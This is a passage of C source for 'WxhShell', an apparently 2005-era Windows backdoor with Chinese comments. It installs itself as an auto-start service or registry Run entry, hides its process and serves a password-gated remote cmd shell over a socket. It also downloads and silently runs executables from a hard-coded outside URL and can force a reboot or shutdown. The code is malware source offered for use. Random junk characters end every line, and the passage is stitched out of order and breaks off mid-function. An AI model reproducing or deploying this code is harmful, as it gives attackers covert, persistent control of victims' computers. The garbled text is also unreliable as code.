    if(Boot(SHUTDOWN)) `tm(3pJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y^gIvX  
    else { j&0t!f.Rv  
    closesocket(wsh); <<6gsKP  
    ExitThread(0); fa,;Sw  
    } ~TjTd  
    break; `!.c_%m2  
    } d{DBG}/Yg  
  // 获取shell x)T07,3:  
  case 's': { U!T#'H5'-  
    CmdShell(wsh); 6+Y@dJnPT  
    closesocket(wsh); EI@ep~  
    ExitThread(0); kv`5"pa7M  
    break; aq8mD^j-&  
  } cd$,,  
  // 退出 }TU2o3Q  
  case 'x': { o+?Ko=vYw  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); qGgdWDn`  
    CloseIt(wsh); 8\[qR_LV  
    break; C12y_E8Un  
    } Hzc^fC  
  // 离开 jxnb<!|?H@  
  case 'q': { tfjbG;R  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); +N!/>w]n  
    closesocket(wsh); |sDp>..  
    WSACleanup(); sJ|IW0Mr  
    exit(1); 7/BA!V(na  
    break;  DIh[%  
        } -3C$br  
  } F-Ywl)  
  } CxVrnb[`q  
q,(hs]\@  
  // 提示信息 EZ^M?awB4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4'XCO+i#  
} &XSe&1  
  } c1StA  
G[!<mh4h|  
  return; 62#8c~ dL  
} =4 W jb  
k? =_p6>  
// shell模块句柄 G_?qY#"(  
int CmdShell(SOCKET sock)  34~[dY  
{ cS"PIelR  
STARTUPINFO si; {1W,-%  
ZeroMemory(&si,sizeof(si)); %$F\o1S  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; sUsIu,1Q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [Kd"M[1[ <  
PROCESS_INFORMATION ProcessInfo; Zy > W2(<  
char cmdline[]="cmd";  Fr9_!f  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^X slj  
  return 0; C-ipxL"r  
} sg,9{R ^  
">S.~'ds  
// 自身启动模式 <(caY37o6)  
int StartFromService(void) P4~C0z  
{ ; ,:w % .  
typedef struct %:[Y/K-   
{ !,PoH  
  DWORD ExitStatus; WG3 .qLH%  
  DWORD PebBaseAddress; o<%s\n  
  DWORD AffinityMask; +4k7ti1Qb  
  DWORD BasePriority; ,?s: s&4  
  ULONG UniqueProcessId; ^ZO3:"t!w  
  ULONG InheritedFromUniqueProcessId; `Yc>I!iN  
}   PROCESS_BASIC_INFORMATION; X !l#1  
O.+X,CQG*  
PROCNTQSIP NtQueryInformationProcess; +jX.::UPm  
l%$co07cX  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Fv9n>%W&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xGymQ|y84  
9$P*fx&m  
  HANDLE             hProcess; rfxLCiV  
  PROCESS_BASIC_INFORMATION pbi; 8VZLwhj  
\}mn"y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8p~G)J3U  
  if(NULL == hInst ) return 0; qW:\6aEG  
b n<}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d/`Q,Vl  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "+J[7p}`@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C8.MoFfhe  
{F+iL&e)  
  if (!NtQueryInformationProcess) return 0; B":u5_B  
-dsE9)&8DX  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]AzDkKj  
  if(!hProcess) return 0; uPtS.j=  
/*5lO;!s{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ar| !iU  
9q !./)  
  CloseHandle(hProcess); xBi``x2eY  
]pP [0 S  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yjxv D  
if(hProcess==NULL) return 0; +cnBEv~y  
RP4P"m(   
HMODULE hMod; I<ta2<h  
char procName[255]; sj0{;>>%+N  
unsigned long cbNeeded; 'w5g s}1D  
}H<87zH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  MUd 9R  
_ -/<bO  
  CloseHandle(hProcess); AjA.="3  
DQOEntw  
if(strstr(procName,"services")) return 1; // 以服务启动 LdM9k(  
F[ 5\ x0  
  return 0; // 注册表启动 gT~Yn~~b  
} ;nB.f.e`  
1Qz1 Ehz>  
// 主模块  @Iy&Qo  
int StartWxhshell(LPSTR lpCmdLine) )~l`%+  
{ @-QDp`QtI  
  SOCKET wsl; y6S:[Z{~A  
BOOL val=TRUE; VaRP+J}UA.  
  int port=0; N/&t) 7  
  struct sockaddr_in door; 41V}6+$g  
+Qe&#"O0  
  if(wscfg.ws_autoins) Install(); Iz[T.$9  
B#U:6Ty  
port=atoi(lpCmdLine); #$[}JiuL/  
5?n@.hcL  
if(port<=0) port=wscfg.ws_port;  rVo?I  
NYcF]K}[  
  WSADATA data; kX^Y{73  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 78 W&  
0QxE6>xL=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =^LX,!2zp{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >AT T<U=  
  door.sin_family = AF_INET; yl[6b1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); bM"crRG"  
  door.sin_port = htons(port); ZeyA bo  
%VD>S  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^|1)6P}6  
closesocket(wsl); evBr{oi@  
return 1; z;VabOr^  
} >C|i^4ppI  
9(;I+.;8k  
  if(listen(wsl,2) == INVALID_SOCKET) { D~s TQfWr  
closesocket(wsl); CAl]Kpc  
return 1; n@Ar%%\  
} 3r (i=ac0  
  Wxhshell(wsl); H_CX5=Nq^  
  WSACleanup(); nmZJ%n  
y`OL^D4  
return 0; nwm1YPs%v]  
5#v|t\ {  
} o@&d d NO  
7FiQTS B:  
// 以NT服务方式启动 Tp7slKc0p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 41[1_p(  
{ xrPC  
DWORD   status = 0;  qg+bh  
  DWORD   specificError = 0xfffffff; /{9"O y7E  
_a 40lcP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; VV1I2YcKt  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \)Bws `  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; oHbG-p  
  serviceStatus.dwWin32ExitCode     = 0; FX#fh 2  
  serviceStatus.dwServiceSpecificExitCode = 0; #AJo75E%  
  serviceStatus.dwCheckPoint       = 0; ![,W?  
  serviceStatus.dwWaitHint       = 0; _s_%}8o  
*uq}jlD`!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3bi,9 >%  
  if (hServiceStatusHandle==0) return; ?Hd/!I&  
mw*BaDN@Q  
status = GetLastError(); v iJK%^U=-  
  if (status!=NO_ERROR) wA#w] 8SM  
{ 85 5JAf  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; s@ ~Y!A  
    serviceStatus.dwCheckPoint       = 0; '!%Zf;Fjr  
    serviceStatus.dwWaitHint       = 0; uzx?U3.\  
    serviceStatus.dwWin32ExitCode     = status;  H?(I-vO  
    serviceStatus.dwServiceSpecificExitCode = specificError; &7YTz3aj  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); C& QT-|  
    return; [0(+E2/:2  
  } a\Ond#1p  
d}.*hgk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =V@5W[bV  
  serviceStatus.dwCheckPoint       = 0; ~ j`; $o  
  serviceStatus.dwWaitHint       = 0; A#y,B  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;L gxL Qy;  
} [Ie;Jd>gG  
J}9 I5O  
// 处理NT服务事件,比如:启动、停止 DhAQ|SdCf  
VOID WINAPI NTServiceHandler(DWORD fdwControl) K; +w'/{  
{ 6jKZ.S+s)  
switch(fdwControl) |Ts|>"F'  
{ {iI" Lt  
case SERVICE_CONTROL_STOP: X7*i -v@  
  serviceStatus.dwWin32ExitCode = 0; VqeK~,}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; J ^J$I!  
  serviceStatus.dwCheckPoint   = 0; U;7Cmti"  
  serviceStatus.dwWaitHint     = 0; M%evk4_27  
  { ]R$ u3F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I+?9}t  
  } #xMl<  
  return;  / >Z`?  
case SERVICE_CONTROL_PAUSE: v^=Po6S[{+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )\bA'LuFy  
  break; [LQD]#  
case SERVICE_CONTROL_CONTINUE: g.3a5#t  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .<<RI8A  
  break; YjTRz.e{[7  
case SERVICE_CONTROL_INTERROGATE: Wy[Ua#Dd  
  break; )e$}sw{t  
}; \D9J!K82  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B J0P1vh6M  
} }'y=JV>l  
q;^Q1[Ari  
// 标准应用程序主函数 W_%p'8,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8+>r!)Q+  
{ JfJLJ(}  
I,*zZNv Ri  
// 获取操作系统版本 atW=xn  
OsIsNt=GetOsVer(); UkE  fuH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); TJHab;7F  
sUc_)  
  // 从命令行安装 UC!?.  
  if(strpbrk(lpCmdLine,"iI")) Install(); < ] ~FX 25  
<}@*i  
  // 下载执行文件 XA&Vtgu  
if(wscfg.ws_downexe) { oV)#s!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) DHUK_#!  
  WinExec(wscfg.ws_filenam,SW_HIDE); |# _F  
} 'UYxVh9D  
%yj z@  
if(!OsIsNt) { ^ucmScl  
// 如果时win9x,隐藏进程并且设置为注册表启动 00?_10x)  
HideProc(); aDV~T24  
StartWxhshell(lpCmdLine); )O xsasn)M  
} /E/Z0<l7  
else qSg#:;(O  
  if(StartFromService()) J <"=c z$  
  // 以服务方式启动 )(?,1>k`Z  
  StartServiceCtrlDispatcher(DispatchTable); Dsl,(qm5  
else ^ZxT0oaL  
  // 普通方式启动 w)# Lu/  
  StartWxhshell(lpCmdLine); " vW4"R6  
LFzL{rny!U  
return 0; -W/Lg5eK  
} b9 F:X  
m a!rZ n  
9h Jlc  
hu ]l{TXi  
=========================================== FN$sST  
1BA/$8G  
Ihd{ @6m  
8=GgTpO5  
s?fO)7ly  
+f}u.T_#  
" 0tL#-47  
9BZyCz  
#include <stdio.h> FO"sE`  
#include <string.h> +N|}6e  
#include <windows.h> &V`~ z e  
#include <winsock2.h> ftr8~*]O  
#include <winsvc.h> 9+"R}Nxv^  
#include <urlmon.h> ~ `xaBz0q  
gMGX)Y ,=/  
#pragma comment (lib, "Ws2_32.lib") ]^ e4coC  
#pragma comment (lib, "urlmon.lib") c Y C@@?  
qG]G0|f  
#define MAX_USER   100 // 最大客户端连接数 $ ?HOke  
#define BUF_SOCK   200 // sock buffer n A<#A  
#define KEY_BUFF   255 // 输入 buffer F}f/cG<X  
c'wxCqnE   
#define REBOOT     0   // 重启 Y<]A 5cm  
#define SHUTDOWN   1   // 关机 w$aiVOjgT  
X6T*?t3!9[  
#define DEF_PORT   5000 // 监听端口 8_d>=*(  
dR9[K4`p/  
#define REG_LEN     16   // 注册表键长度 m]7oTmS  
#define SVC_LEN     80   // NT服务名长度 n$*e(  
L@|xpq  
// 从dll定义API #OQT@uF!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); T 5AoBUw  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); KW&vX%i(.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z[, A>tJ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); kBRy(?Mft&  
j>}<FW-N  
// wxhshell配置信息 6h5,XcO4  
struct WSCFG { Rk8oshS+2  
  int ws_port;         // 监听端口 <>Nq ]WqA  
  char ws_passstr[REG_LEN]; // 口令 ?o D]J  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5x2m ]u  
  char ws_regname[REG_LEN]; // 注册表键名 N!{waPbPi  
  char ws_svcname[REG_LEN]; // 服务名 ,\DSi&T  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 nNEIwlj;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 J7RO*.O&Iq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ![ce=9@t<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [X\<C '<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~+~^c|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )B!64'|M  
F?!X<N{  
}; gG,"wzj  
ndXUR4  
// default Wxhshell configuration RT~6#Caf  
struct WSCFG wscfg={DEF_PORT, MYlPG1X=?  
    "xuhuanlingzhe", ta*6xpz-\Q  
    1, 2Hp<(  
    "Wxhshell", A.v'ws+VDP  
    "Wxhshell", Fv )H;1V  
            "WxhShell Service", s"xiGp9  
    "Wrsky Windows CmdShell Service", )HL[_WfY  
    "Please Input Your Password: ", Mb1K:U  
  1, NbyXi3@v  
  "http://www.wrsky.com/wxhshell.exe", ;bMmJ>[l-  
  "Wxhshell.exe" `{B<|W$=  
    }; W]-c`32~S  
vJ a?5Jr  
// 消息定义模块  j1sgvh]D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [b?[LK}.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?r%kif)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :~ ; 48m  
char *msg_ws_ext="\n\rExit."; B.oD9 <9  
char *msg_ws_end="\n\rQuit."; y.6Yl**l  
char *msg_ws_boot="\n\rReboot..."; rHMr8,J;  
char *msg_ws_poff="\n\rShutdown..."; c+bOp 05o-  
char *msg_ws_down="\n\rSave to "; 6a%dq"5 +  
FRR`<do5$,  
char *msg_ws_err="\n\rErr!"; { ML)F]]  
char *msg_ws_ok="\n\rOK!"; RHIGNzSz  
YM`I&!n  
char ExeFile[MAX_PATH]; 5i eF8F%  
int nUser = 0; OngUZMgdb  
HANDLE handles[MAX_USER]; ^rX5C2}G\D  
int OsIsNt; }TDoQ]P  
jg3 X6/'  
SERVICE_STATUS       serviceStatus; z7PmyU >  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; q(n PI  
0+m4 }]6l  
// 函数声明 <W2 YG6^i  
int Install(void); ]T<\d-!CZN  
int Uninstall(void); t91z<Y|  
int DownloadFile(char *sURL, SOCKET wsh); 5_yu4{@;y  
int Boot(int flag); Z< 4Du  
void HideProc(void); +W}dO#  
int GetOsVer(void); h)o5j-M>4  
int Wxhshell(SOCKET wsl); G,,7.%eib=  
void TalkWithClient(void *cs); a?NoNv)&  
int CmdShell(SOCKET sock); =kiDW6 JJU  
int StartFromService(void); 7FYq6wi  
int StartWxhshell(LPSTR lpCmdLine); Tz<@k  
_]"uq/UWp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -n#fj;.2_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); k "Qr  
j3$\+<m]  
// 数据结构和表定义 Ae3=o8p  
SERVICE_TABLE_ENTRY DispatchTable[] = tsys</E&  
{ "NOll:5"(  
{wscfg.ws_svcname, NTServiceMain}, %'3Y?d  
{NULL, NULL} rWS],q=c  
}; }48 o{\  
])vWvNx  
// 自我安装 }Lc8tj<  
int Install(void) ZBxV&.9/  
{ xC^|S0B  
  char svExeFile[MAX_PATH]; e{k)]]J  
  HKEY key; BqG7E t  
  strcpy(svExeFile,ExeFile); C?-_8OA  
V =-hqo(  
// 如果是win9x系统,修改注册表设为自启动 .cCB,re  
if(!OsIsNt) { tFrNnbmlQ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8;+dlWp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _WB*ArR  
  RegCloseKey(key); CWx_9b zk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0m>?-/uDx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o7^u@*"F  
  RegCloseKey(key); Hr}pO"%  
  return 0; *;!p#qL  
    } c[zaYcbl  
  } &$<7]a\dM  
} rd hM#?  
else { K=Y{iHn  
QKt+Orz  
// 如果是NT以上系统,安装为系统服务 =Dc9|WuHN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); C[2LP$6*/  
if (schSCManager!=0) 1yT\|2ARZ%  
{ I>n2# -8  
  SC_HANDLE schService = CreateService XMi)PXs$  
  ( lDF26<<\`  
  schSCManager, a&)4Dv0  
  wscfg.ws_svcname, ov%.+5P  
  wscfg.ws_svcdisp, Y. 1dk  
  SERVICE_ALL_ACCESS, j"wbq-n,7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Q|&Wcxq2!  
  SERVICE_AUTO_START, cjyb:gAO  
  SERVICE_ERROR_NORMAL, geJO#;  
  svExeFile, > a"4aYj  
  NULL, VU ,tCTXz  
  NULL, ("T8mt[w>  
  NULL, gVU&Yl~/^  
  NULL, :!WKD@]  
  NULL -h1FrDBt  
  ); ~9h/{$  
  if (schService!=0) ZB5u\NpcW  
  { P d)<Iw^<  
  CloseServiceHandle(schService); 5nh:S0M6V  
  CloseServiceHandle(schSCManager); -gR }^D   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); e,I{+ ^P  
  strcat(svExeFile,wscfg.ws_svcname); >X0c:p Pu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { T*v@hbJ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); b _%W*Q  
  RegCloseKey(key); C=!YcJ9  
  return 0; |p"4cG?)  
    } M F_VMAq  
  } A;e0h)F$-  
  CloseServiceHandle(schSCManager); <rAWu\d;  
} 6"PwOEt  
} Qu6Q)dZ<  
3X]\p}]z  
return 1; kf>L  
} 6S6E 1~  
0\a;} S'g#  
// 自我卸载 =[x @BzH  
int Uninstall(void) ;&?l1Vu  
{ ^iz2 =}Q8  
  HKEY key; w/Ej>OS  
h& Q9  
if(!OsIsNt) { !Q" 3B6 86  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +t`QHvxv  
  RegDeleteValue(key,wscfg.ws_regname); W y%'<f  
  RegCloseKey(key); 1 6G/'Hb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FEq R7  
  RegDeleteValue(key,wscfg.ws_regname); p&<X&D   
  RegCloseKey(key); v.pj PBU1  
  return 0; 3GU JlFj  
  } o^b4l'&o  
} .X(*mmH  
} Ii4lwZnz  
else { mIUpAOC`"Z  
&] euL:C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \5=fC9*G  
if (schSCManager!=0) -4!i(^w[m/  
{ q[T='!Z\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `Q~`Eq?@  
  if (schService!=0) y*fU_Il|!  
  { `Z!NOC  
  if(DeleteService(schService)!=0) { "i3Q)$"S  
  CloseServiceHandle(schService); FdVWj 5 $a  
  CloseServiceHandle(schSCManager); UB&)U\hn  
  return 0; ;.wWw" )  
  } km+}./@  
  CloseServiceHandle(schService); Ls~F4ar$/  
  } EPMdR66  
  CloseServiceHandle(schSCManager); *[?DnF+  
} n^m6m%J)  
} M.QXwIT  
_O*"_^6  
return 1; @vcvte  
} Mk"V%)1k  
2~BId&]  
// 从指定url下载文件 3cztMi  
int DownloadFile(char *sURL, SOCKET wsh) <u9U%V si  
{ %}%vey  
  HRESULT hr; d,0Yi u.p  
char seps[]= "/"; r\sQ8/  
char *token; k2S6 SB  
char *file; MX.=k>  
char myURL[MAX_PATH]; !Qd4Y=  
char myFILE[MAX_PATH]; E*_lT`Hzf  
V$7SVq  
strcpy(myURL,sURL); TtaVvaz~>  
  token=strtok(myURL,seps); )^o7%KX  
  while(token!=NULL) ctg[C$<q|  
  { pdQ6/vh  
    file=token; .sk$@Q  
  token=strtok(NULL,seps); DMY?'Nts!  
  } "jyh.@<  
zFtRsa5 +  
GetCurrentDirectory(MAX_PATH,myFILE); 7k>sE  
strcat(myFILE, "\\"); Wi?37EHr  
strcat(myFILE, file); k_c8\::p#  
  send(wsh,myFILE,strlen(myFILE),0); 2Hp#~cE+.  
send(wsh,"...",3,0); c%+9uu3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); fy`e)?46  
  if(hr==S_OK) ,.ln  
return 0; (|PxR#{l<  
else qq+fUfB2:  
return 1; 3B<$6  
j+c<0,Kj  
} h6dVT9  
3Hli^9&OX_  
// 系统电源模块 ^BruRgc+  
int Boot(int flag) ~X/1%  
{ Y M_\ ZK:  
  HANDLE hToken; i-b++R/WN  
  TOKEN_PRIVILEGES tkp; 7xOrG],E  
wER>a (  
  if(OsIsNt) { '14 G0<;yL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); wM;9plYlw0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,ij"&XA  
    tkp.PrivilegeCount = 1; 45hjN6   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; cI O7RD$8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ba\l`$%X  
if(flag==REBOOT) { 9W{=6D86e  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) x"Hi!h)v  
  return 0; /Wh} ;YTv^  
} *\Y \$w  
else { Qn77ZpL:LJ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rmW,#  
  return 0; A&2)iQ  
} CE$c/d[N.  
  } wPn#>\/L  
  else { - T,;Fr'  
if(flag==REBOOT) { L//Z\xr|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !`k{Ga  
  return 0; l!plw,PYC  
} %r0yBK2uOp  
else { ;J~NfL  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9ZL3p!  
  return 0; J>YwMl  
} !79^M  
} wjF/c  
gsn3]^X  
return 1; O;9'0-F ?  
} -;TqdL@  
SsDe\"?Q  
// win9x进程隐藏模块 ThX%Uzd"[;  
void HideProc(void) ?v>!wuiP  
{ x.CNDG  
/HsJyp+t  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *7C t#GC  
  if ( hKernel != NULL ) %pNK ?M+  
  { -v4kW0G  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); a W`q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _-&\~w  
    FreeLibrary(hKernel); ~Cx07I_lf  
  } [lpzUB}<Yp  
|hjm^{!TpW  
return; ~n$VCLa  
} fPf8hz>  
ca@0?q#  
// 获取操作系统版本 6.},y<E  
int GetOsVer(void) }&)X4=  
{ TC80nP   
  OSVERSIONINFO winfo; A@BYd'}]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )oJn@82C|  
  GetVersionEx(&winfo); L'LZK  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $9DV }  
  return 1; :?s~,G_*l  
  else M-3kF"  
  return 0; d0y [:  
}  `Nn=6[]  
Z5re Fok  
// 客户端句柄模块 NDW6UFd>1  
int Wxhshell(SOCKET wsl) #Jv|zf5Z  
{ 6fhH)]0  
  SOCKET wsh; 0Zp) DM  
  struct sockaddr_in client; Y]aVa2!Wb  
  DWORD myID; t@[&8j2B>  
D.zEE-cGyb  
  while(nUser<MAX_USER) Vv4 w?K  
{ k/A8 |  
  int nSize=sizeof(client); 4k5X'&Q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a9C8Q l  
  if(wsh==INVALID_SOCKET) return 1; Ah,X?0+  
GsG.9nd  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !rzbm&@  
if(handles[nUser]==0) 9k mkF,  
  closesocket(wsh); >M{=qs  
else Bb2;zOGdA  
  nUser++; 0Ym+10g  
  } `0Y`]kSY+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -xS{{"-  
<H{%`  
  return 0; =&RpW7]  
} ;*^2,_  
+G';no\h  
// 关闭 socket `iYiAc  
void CloseIt(SOCKET wsh) 0b%"=J2/p.  
{ {3F;:%$`c  
closesocket(wsh); 45` i  
nUser--; ~0"(C#l 9  
ExitThread(0); vt@5Hb)  
} n$RhD93  
'thWo wE  
// 客户端请求句柄  n4;  
void TalkWithClient(void *cs) Umx~!YL!  
{ R57>z`;  
| +osEHC  
  SOCKET wsh=(SOCKET)cs; "]\sw"zO?  
  char pwd[SVC_LEN]; D#}t)$"  
  char cmd[KEY_BUFF]; n qSjP5  
char chr[1]; ]v&)mK]n=o  
int i,j; \vj<9ke&  
#zflU99d  
  while (nUser < MAX_USER) { F !DDlYUz.  
]hNio6CVm  
if(wscfg.ws_passstr) { (}ObX!,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y5nj _xQJL  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~NT2QY5!K  
  //ZeroMemory(pwd,KEY_BUFF); LpwjP4vWJ  
      i=0; ZbVo<p5* ]  
  while(i<SVC_LEN) { [=k$Q (.3  
1h uU7xuf  
  // 设置超时 THC7e>P4  
  fd_set FdRead; G`H4#@]  
  struct timeval TimeOut; ] TY$  
  FD_ZERO(&FdRead); _L }k.  
  FD_SET(wsh,&FdRead); to-DXT.  
  TimeOut.tv_sec=8; lrq u%:q  
  TimeOut.tv_usec=0; "Sm'TZx  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); xN lxi  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {nvF>  
4&b*|"Iw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kr ,&aP<,  
  pwd=chr[0]; =-wF Brw  
  if(chr[0]==0xd || chr[0]==0xa) { qWz%sT?C3L  
  pwd=0; 3@#WYvD  
  break; H_w&_h&  
  } /-%0y2"7  
  i++; D d['e  
    } \4$V ;C/n,  
+i"^"/2f{  
  // 如果是非法用户,关闭 socket .g/PWEr\I  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); SI_u0j4%*  
} uG-t)pej  
vmEbk/Vy  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {A<pb{<u  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F|mppY'<J  
Y:f"Zx  
while(1) { u^2)oL  
kA c8[Hn  
  ZeroMemory(cmd,KEY_BUFF); >6yA+?[:  
C_CUk d[  
      // 自动支持客户端 telnet标准   (*qMs)~]B  
  j=0; >\f'QQ  
  while(j<KEY_BUFF) { *CtWDUxSdW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7]\_7L|>]  
  cmd[j]=chr[0]; h 8Shf"  
  if(chr[0]==0xa || chr[0]==0xd) { g$X4ZRSel  
  cmd[j]=0; b&wyp@k  
  break; KZeaM  
  } 'PO+P~|oa&  
  j++; }4$k-,1S  
    } 'Cr2& dy  
;og[ q  
  // 下载文件 olA 1,8  
  if(strstr(cmd,"http://")) { m2sf]-?Y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {X r|L  
  if(DownloadFile(cmd,wsh)) %?2:1o  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q[rmsk 2L'  
  else Gl am(V1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tJ 3Hg8;  
  } qoZUX3{  
  else { 6h5DvSO  
